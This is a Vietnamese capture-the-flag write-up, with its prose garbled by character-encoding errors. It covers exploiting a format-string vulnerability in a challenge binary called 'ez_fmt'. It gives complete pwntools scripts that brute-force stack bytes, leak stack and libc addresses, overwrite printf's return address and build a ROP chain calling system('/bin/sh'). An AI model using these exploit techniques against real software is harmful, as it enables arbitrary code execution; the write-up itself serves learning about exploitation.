Challenge
3 file mà mÃŦnh nháēn ÄÆ°áģŖc:
Patched nÃŗ trÆ°áģc tiÃĒn.
Script
Ta xem qua source cáģ§a nÃŗ thÃŦ nÃŗ táģĢ cháģi nháģ¯ng kà táģą sau ÄÃĸy:
Äáģ là m ÄÆ°áģŖc cÃĄc dáēĄng bà i format strings nhÆ° nà y thÃŦ cáē§n pháēŖi leak ÄÆ°áģŖc stack, leak ÄÆ°áģŖc libc
CáģĨ tháģ thÃŦ tôi sáēŊ follow nÃŗ nhÆ° sau
BÆ°áģc 1: XÃĄc Äáģnh con tráģ tráēŖ váģ
Xem kÄŠ hÆĄn thÃŦ ta tháēĨy ÄÆ°áģŖc 2 con tráģ cáē§n thiáēŋt cho viáģc khai thÃĄc nà y nÃŗ áģ váģ trà offset tháģŠ 21(0x78)
, 36(0xf0)
và 49(0x158)
.
BÆ°áģc 2: Leak Äáģa cháģ stack và libc
Äáģ leak ÄÆ°áģŖc 1 Äáģa cháģ nà o ÄÃŗ ra bÃĒn ngoà i ta buáģc pháēŖi sáģ dáģĨng %p. Mà %p Äang báģ restrict báģi hà m restrict váēy tôi sáēŊ cháģn cÃĄch ghi Äè nhÆ° sau:
NhÆ°ng Äáģ ghi Äè ÄÆ°áģŖc thÃŦ ta pháēŖi cÃŗ Äáģa cháģ cáģ§a stack:
Do Äáģa cháģ cáģ§a stack cháģ khÃĄc nhau áģ cÃĄc 2 bytes cuáģi. Váēy nÃĒn tôi sáēŊ brute force 1 chÃēt.
Biáēŋt ÄÆ°áģŖc 2 bytes cuáģi thông qua format %c
Váēy payload Äáģ tôi leak sáēŊ là :
Copy from pwn import *
elf = context.binary = ELF("./ez_fmt_patched")
libc = ELF("./libc.so.6")
r = elf.process()
def debug():
context.log_level = "DEBUG"
debug()
gdb.attach(r, '''
b*main+112\n
c
''')
r.sendlineafter(b"Service :##", b"%21$c")
r.recv()
last_byte = u8(r.recv(1))
log.success(f"Last byte: {hex(last_byte)}")
r.interactive()
ÄoáēĄn payload trÃĒn sáēŊ leak ra 1 byte cuáģi cÚng cáģ§a Äáģa cháģ trÃĒn stack.
Tiáēŋp Äáēŋn là guessing nhÆ°ng tôi sáēŊ guessing pháē§n input:
BÃĸy giáģ tôi sáēŊ ghi Äè con tráģ Äáēąng sau input (cáģĨ tháģ là input + 0x20
- trÃĄnh trÆ°áģng háģŖp báģ láģi và thay Äáģi Äáē§u và o) và o offset 21 trÆ°áģc và tiáēŋn hà nh ghi byte "1
" và o offset 49. Sau ÄÃŗ leak ra offset (input + 0x20
) và kiáģm tra xem nÃŗ cÃŗ báēąng byte "1
" hay không. Náēŋu báēąng thÃŦ in ra guess byte ÄÃŗ. Pháē§n nà y sáēŊ là m Äiáģu ÄÃŗ:
Copy guess_byte = 0
for i in range(0x0, 0x100, 0x1):
guess_byte = i * 0x100 + last_byte
log.info(f"Guess byte: {hex(guess_byte)} --> {guess_byte}")
payload = f"%{guess_byte+0x20}c%21$hn|||".encode()
r.sendline(payload)
payload = '%49c%49$hhnmmm'.encode()
r.sendline(payload)
r.sendlineafter(b'mmm\n', b'%10$cmmm') #Leak byte at offset 10, 42, 74
recv = r.recvuntil(b'mmm\n')
if(recv[0] == 49): #0x20
log.success("Breaking by offset 10")
debug()
break
log.success('Guess: %#x' % guess_byte)
Và tôi ÄÃŖ biáēŋt ÄÆ°áģŖc 2 bytes cuáģi
Äáģ ÃŊ 1 xÃu náģ¯a thÃŦ báēĄn cÃŗ tháģ tÃŦm kiáēŋm ra con tráģ tráēŖ váģ áģ hà m printf:
NÃŗ náēąm ngay trÃĒn input (guess_byte-0x8
).
Và cÃŗ 1 báģ Äôi con tráģ biáēŋn môi trÆ°áģng náģ¯a nhÆ° áēŖnh sau:
TháģŠ táģą cáģ§a 2 con tráģ nà y láē§n lÆ°áģŖt là : offset 0xf8 (37)
và 0x168 (51)
Káēŋt háģŖp 2 Äiáģu trÃĒn, tôi sáēŊ táēĄo ra 3 payload cÃŗ cháģŠc nÄng nháēŖy qua hà m restricted_filter và ghi Äè con tráģ %p và o trong payload Äáģ cÃŗ tháģ leak ra Äáģa cháģ nhÆ° sau:
Sau khi payload trÃĒn ÄÆ°áģŖc tháģąc hiáģn, nÃŗ sáēŊ tháģąc hiáģn leak ra Äáģa cháģ áģ offset 49 và thay Äáģi main+117
thà nh main+100
Copy payload = f'%{guess_byte-8}c%21$hnmmm'.encode()
#overwrite offset 21 to return address of printf to offset 49 can overwrite to <main+100>
r.sendline(payload)
payload = f'%{guess_byte+8}c%37$hnmmm'.encode() #offset37: 0xf8
r.sendlineafter(b'mmm\n', payload)
# 0x2b + 0x45 == 0x70 == "p" #
payload = f'%{0x45}c%49$hhn%{0x2b}c%51$hhnmmm'.encode()
# 0x45 is last byte of <main+100>
r.sendlineafter(b'mmm\n', payload)
Và pÃĸy giáģ printf sáēŊ ÄÆ°áģŖc gáģi 1 láē§n náģ¯a và leak ra Äáģa cháģ cáģ§a stack:
ThÃĒm 4 dÃ˛ng nà y và o sáēŊ giÃēp tôi láēĨy ra ÄÆ°áģŖc Äáģa cháģ cáģ§a stack.
Copy r.recvuntil(b'mmm\n')
r.recv(0x45)
stack = int(r.recv(14), 16) + 8
log.success('Input address: %#x' % stack)
OKE, váēy tôi ÄÃŖ leak ÄÆ°áģŖc Äáģa cháģ cáģ§a stack, Äáģa cháģ tiáēŋp theo tôi muáģn leak ÄÃŗ là Äáģa cháģ cáģ§a libc.
LÃ m tÆ°ÆĄng táģą váģi cÃĄch leak cáģ§a stack
Tôi sáēŊ tiáēŋn hà nh leak ra Äáģa cháģ cáģ§a offset 19.
Payload cáģ§a tôi sáēŊ káēŋt háģŖp nhÆ° sau:
Payload Äáģ tháģąc hiáģn pháē§n nà y:
Copy payload = f'%{guess_byte-8}c%21$hnmmm'.encode() # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+6}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
val = int.from_bytes(b"9$p", "little") - 0x45
debug()
payload = f"%{0x45}c%10$hhn%{val}c%51$nmmm".encode().ljust(0x20, b"\0") + p64(stack-8)
r.sendlineafter(b"mmm\n", payload)
r.recvuntil(b'0x')
libc.address = int(r.recv(14),16) - 147635
log.success(f"Libc address: {hex(libc.address)}")
GiáēŖi thÃch 1 chÃēt:
áģ dÃ˛ng 6: tôi sáģ dáģĨng guess_byte+6
vÃŦ offset tháģŠ 6 cáģ§a nÃŗ ban Äáē§u là %10$p(sáģ 0 là offset 6 ÄÃŗ) nÃĒn tôi ghi luôn và o ÄáēĨy Äáģ trÃĄnh pháēŖi ghi quÃĄ nhiáģu dáģ¯ liáģu lÃĒn server và sau khi payload ÄÆ°áģŖc printf, nÃŗ sáēŊ chuyáģn thà nh %19$p
ljust(0x20, b"\0")
sáēŊ padding cho payload cáģ§a tôi trÃĄnh trÆ°áģng háģŖp láģn xáģn dáģ¯ liáģu do tháģĢa hoáēˇc thiáēŋu byte.
stack-8
ÄÆ°áģŖc thÃĒm và o Äáģ khi rip = ret cáģ§a printf nÃŗ sáēŊ là con tráģ main+100
váģĢa ÄÆ°áģŖc ghi và o offset 37 náēŋu không nÃŗ sáēŊ váēĢn giáģ¯ nguyÃĒn là main+117
và sau ÄÃŗ láēĄi exit nhÆ° áēŖnh bÃĒn dÆ°áģi.
Sau khi leak ÄÆ°áģŖc 2 Äáģa cháģ quan tráģng là buffer(con tráģ input) và Äáģa cháģ libc thÃŦ tôi sáēŊ tiáēŋn hà nh ghi cÃĄc rop và o Äáģ tháģąc thi.
RCE
Sau khi leak xong Äáģa cháģ libc thÃŦ tôi nháēn ÄÆ°áģŖc chuáģi stack sau ÄÃĸy:
Tôi sáēŊ sáģ dáģĨng 2 con tráģ nà y Äáģ thao tÃĄc:
Copy def write(addr, value):
for i in range(3):
val = (value >> (16 * i)) & 0xffff
payload = f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
r.sendlineafter(b'mmm', payload)
payload = f'%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + 6)
r.sendlineafter(b'mmm', payload)
GiáēŖi thÃch:
Copy f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
trÆ°áģc tiÃĒn thÃŦ khi nháēn và o báēąng hà m fgets, nÃŗ sáēŊ ÄáēŠy con tráģ áģ Äáģa cháģ address lÃĒn trÆ°áģc táēĄi váģ trà offset 10 (input+0x20
), sau ÄÃŗ tÄng 2 bytes/láē§n và ghi táģng cáģng 3 láē§n 2 byte và 1 láē§n 2 bytes 0
sau ÄÃŗ nÃŗ sáēŊ ghi giÃĄ tráģ cáģ§a value láē§n lÆ°áģŖt 2 bytes và o offset tháģŠ 10(input+0x20
)
Payload nà y sáēŊ táēĄo ra 2 con tráģ(nhÆ° áēŖnh báēĄn tháēĨy áģ trÃĒn) và sau ÄÃŗ cháģnh sáģa nÃŗ thà nh cÃĄc giÃĄ tráģ ROP.
Sau khi ghi thÃŦ ta sáēŊ ÄÆ°áģŖc chuáģi rop nhÆ° nà y:
NhÆ°ng bÃĸy giáģ con tráģ return cáģ§a printf không tráģ Äáēŋn chuáģi rop mà chÃēng ta váģĢa ghi, váēy nÃĒn tôi sáēŊ cháģnh sáģa và cho nÃŗ tráēŖ váģ rop gadget: add rsp, 0x68 ; ret
Pháē§n nà y sáēŊ giÃēp báēĄn sáģa nÃŗ:
Copy add_rsp_0x68 = 0x000000000010e4fc
addr = libc.address + add_rsp_0x68
part1 = addr & 0xffff
part2 = (addr >> 16) & 0xffff
part3 = (addr >> 32) & 0xffff
payload = gen_payload([[part1, 'hn', 12], [part2, 'hn', 13], [part3, 'hn', 14]])
payload = payload.ljust(0x30, b'\0') + p64(stack-8 + 0) + p64(stack- 8 + 2) + p64(stack-8+4)
Và hà m generate payload cáģ§a nÃŗ là :
Copy def gen_payload(l):
payload = ''
sum = 0
value = 0
for i in l:
if i[1] == 'hhn':
if i[0] < (sum & 0xff):
value = (i[0] - (sum & 0xff)) + 0x100
else:
value = i[0] - (sum & 0xff)
elif i[1] == 'hn':
if i[0] < (sum & 0xffff):
value = (i[0] - (sum & 0xffff)) + 0x10000
else:
value = i[0] - (sum & 0xffff)
elif i[1] == 'n':
if i[0] < (sum & 0xffffffff):
value = (i[0] - (sum & 0xffffffff)) + 0x100000000
else:
value = i[0] - (sum & 0xffffffff)
sum += value
payload += f'%{value}c%{i[2]}$' + i[1]
return payload.encode()
Táģng káēŋt láēĄi thÃŦ tôi cÃŗ payload nhÆ° sau:
Copy from pwn import *
elf = context.binary = ELF("./ez_fmt_patched")
libc = ELF("./libc.so.6")
r = elf.process()
def debug():
gdb.attach(r, '''
b*main+112\n
b*printf+198\n
b*restricted_filter\n
b*main+68\n
c
''')
context.log_level='DEBUG'
r.sendlineafter(b"Service :##", b"%21$c|||")
r.recv()
last_byte = u8(r.recv(1))
last_byte = (last_byte - 0x158) & 0xff
log.success(f"Last byte: {hex(last_byte)}")
guess_byte = 0
for i in range(0x0, 0x100, 0x1):
guess_byte = i * 0x100 + last_byte
log.info(f"Guess byte: {hex(guess_byte)} --> {guess_byte}")
payload = f"%{guess_byte+0x20}c%21$hn|||".encode()
r.sendline(payload)
payload = '%50c%49$hhnmmm'.encode()
r.sendline(payload)
r.sendlineafter(b'mmm\n', b'%10$cmmm') #Leak byte at offset 10
recv = r.recvuntil(b'mmm\n')
if(recv[0] == 50): #0x20
log.success("Breaking by offset 10")
break
log.success('Guess: %#x' % guess_byte)
payload = f'%{guess_byte-8}c%21$hnmmm'.encode() # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+8}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
# 0x2b + 0x45 == 0x70 == "p" #
payload = f'%{0x45}c%49$hhn%{0x2b}c%51$hhnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)
r.recvuntil(b'mmm\n')
r.recv(0x45)
stack = int(r.recv(14), 16) + 8
log.success('Input address: %#x' % stack)
payload = f'%{guess_byte-8}c%21$hnmmm'.encode() # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+6}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
val = int.from_bytes(b"9$p", "little") - 0x45
payload = f"%{0x45}c%10$hhn%{val}c%51$nmmm".encode().ljust(0x20, b"\0") + p64(stack-8)
r.sendlineafter(b"mmm\n", payload)
r.recvuntil(b'0x')
libc.address = int(r.recv(14),16) - 147635
log.success(f"Libc address: {hex(libc.address)}")
pop_rdi = 0x0000000000023b72 + libc.address
ret = 400774 + libc.address
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
r.sendline(b"mmm")
def write(addr, value):
for i in range(3):
val = (value >> (16 * i)) & 0xffff
payload = f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
r.sendlineafter(b'mmm', payload)
payload = f'%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + 6)
r.sendlineafter(b'mmm', payload)
write(stack+0x68, pop_rdi)
log.success("OKE")
write(stack+0x70, binsh)
log.success("OKE")
write(stack+0x78, ret)
log.success("OKE")
write(stack+0x80, system)
log.success("OKE")
debug()
def gen_payload(l):
payload = ''
sum = 0
value = 0
for i in l:
if i[1] == 'hhn':
if i[0] < (sum & 0xff):
value = (i[0] - (sum & 0xff)) + 0x100
else:
value = i[0] - (sum & 0xff)
elif i[1] == 'hn':
if i[0] < (sum & 0xffff):
value = (i[0] - (sum & 0xffff)) + 0x10000
else:
value = i[0] - (sum & 0xffff)
elif i[1] == 'n':
if i[0] < (sum & 0xffffffff):
value = (i[0] - (sum & 0xffffffff)) + 0x100000000
else:
value = i[0] - (sum & 0xffffffff)
sum += value
payload += f'%{value}c%{i[2]}$' + i[1]
return payload.encode()
add_rsp_0x68 = 0x000000000010e4fc
addr = libc.address + add_rsp_0x68
part1 = addr & 0xffff
part2 = (addr >> 16) & 0xffff
part3 = (addr >> 32) & 0xffff
payload = gen_payload([[part1, 'hn', 12], [part2, 'hn', 13], [part3, 'hn', 14]])
payload = payload.ljust(0x30, b'\0') + p64(stack-8 + 0) + p64(stack- 8 + 2) + p64(stack-8+4)
r.sendlineafter(b'mmm', payload)
r.interactive()
Và tôi nháēn ÄÆ°áģŖc:
Code cháēĄy 1 và i láē§n cÃŗ tháģ báģ láģi, nhÆ°ng váēĢn sáēŊ ra. đĢ¤
1 và i tháģŠ thÃē váģ mà tôi nháēn ÄÆ°áģŖc:
ÄÃŗ là viáģc cÃŗ tháģ Äiáģu khiáģn cÃĄc con tráģ môi trÆ°áģng, nÃŗ không pháēŖi là cáģ Äáģnh.
Khi cÃŗ 1 hà m nháēp dáģ¯ liáģu và 1 hà m in dáģ¯ liáģu(láģ háģng) thÃŦ ta cÃŗ tháģ chèn thÃĒm báēĨt cáģŠ Äáģa cháģ nà o Äáēąng sau chuáģi format sau ÄÃŗ chuáģi format cÃŗ tháģ sáģa Äáģi chÃnh Äáģa cháģ mà ta váģĢa nháēp và o ÄÃŗ.
Hoáēˇc ta cÃŗ tháģ cháģnh sáģa giÃĄ tráģ trong cÃĄc Äáģa cháģ sau ÄÃŗ cÃŗ tháģ dÚng %{offset}$c
Äáģ leak ra, sau ÄÃŗ so sÃĄnh giÃĄ tráģ cháģnh sáģa chÃēng Äáģ kiáģm tra tÃnh ÄÃēng Äáē¯n
Reading funny!!!